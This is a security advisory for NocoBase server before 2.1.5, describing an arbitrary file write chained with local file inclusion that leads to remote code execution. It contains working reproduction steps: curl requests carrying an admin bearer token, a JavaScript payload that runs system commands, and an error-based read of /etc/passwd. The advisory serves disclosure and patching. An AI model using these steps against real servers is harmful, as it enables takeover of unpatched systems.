@nocobase/server
Affected
- introduced
0, fixed2.1.5(semver)
Fixed versions
2.1.5
Fix
- Fixed version
2.1.5npm install @nocobase/[email protected]
Advisory
Also known as: None
NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution
Executive Summary
Two vulnerabilities were identified and chained to achieve authenticated remote code execution
The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).
Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.
A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.
VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation
Summary
The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.
Vulnerable Components
packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 |packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware()
Server route: POST /api/storages:update
Server route: POST /api/attachments:upload
Root Cause
getDocumentRoot() resolves the documentRoot field from the storage record:
// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
this.storage.options || {};
return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));
resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the `documentRoot` value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.
The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.
Steps to Reproduce
Prerequisites: Admin session token.
Step 1 Get the local storage ID:
curl -s "http://192.168.228.130:13000/api/storages" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"
Storage ID on this target: 366584416632832
Step 2 Create the RCE payload:
cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF
Step 3 Redirect storage documentRoot to app CWD:
curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-H "Content-Type: application/json" \
-d '{"options":{"documentRoot":"."},"default":true}'
<img width="826" height="304" alt="image" src="https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66" />
Step 4 upload the RCE payload:
The payload writes output to the NocoBase uploads directory, which is served statically on port 13000
curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"
<img width="826" height="322" alt="image" src="https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72" />
Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below
VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call
Overviewpm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:
/etc/passwd): Node.js parses them as JavaScript, fails with a SyntaxError that embeds the file content in the error message. That error is written to system_error_YYYY-MM-DD.log and is downloadable via logger:download giving an attacker blind/error-based file read.Root Cause
The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:
// packages/core/server/src/plugin-manager/options/resource.ts L141-151
async enable(ctx, next) {
const { filterByTk } = ctx.action.params; // ← raw user input
if (!filterByTk) {
ctx.throw(400, 'plugin name invalid');
}
const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization
ctx.body = filterByTk;
await next();
},
The CLI handler calls requireModule(key):
// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
if (typeof m === 'string') {
m = require(m); // ← arbitrary file executed as Node.js module
}
if (typeof m !== 'object') { return m; }
return m.__esModule ? m.default : m;
}
assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().
Steps to Reproduce Error-Based File Read (Standalone)
High Basis: The source's own band: HIGH
0, fixed 2.1.5 (semver)2.1.5
2.1.5npm install @nocobase/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0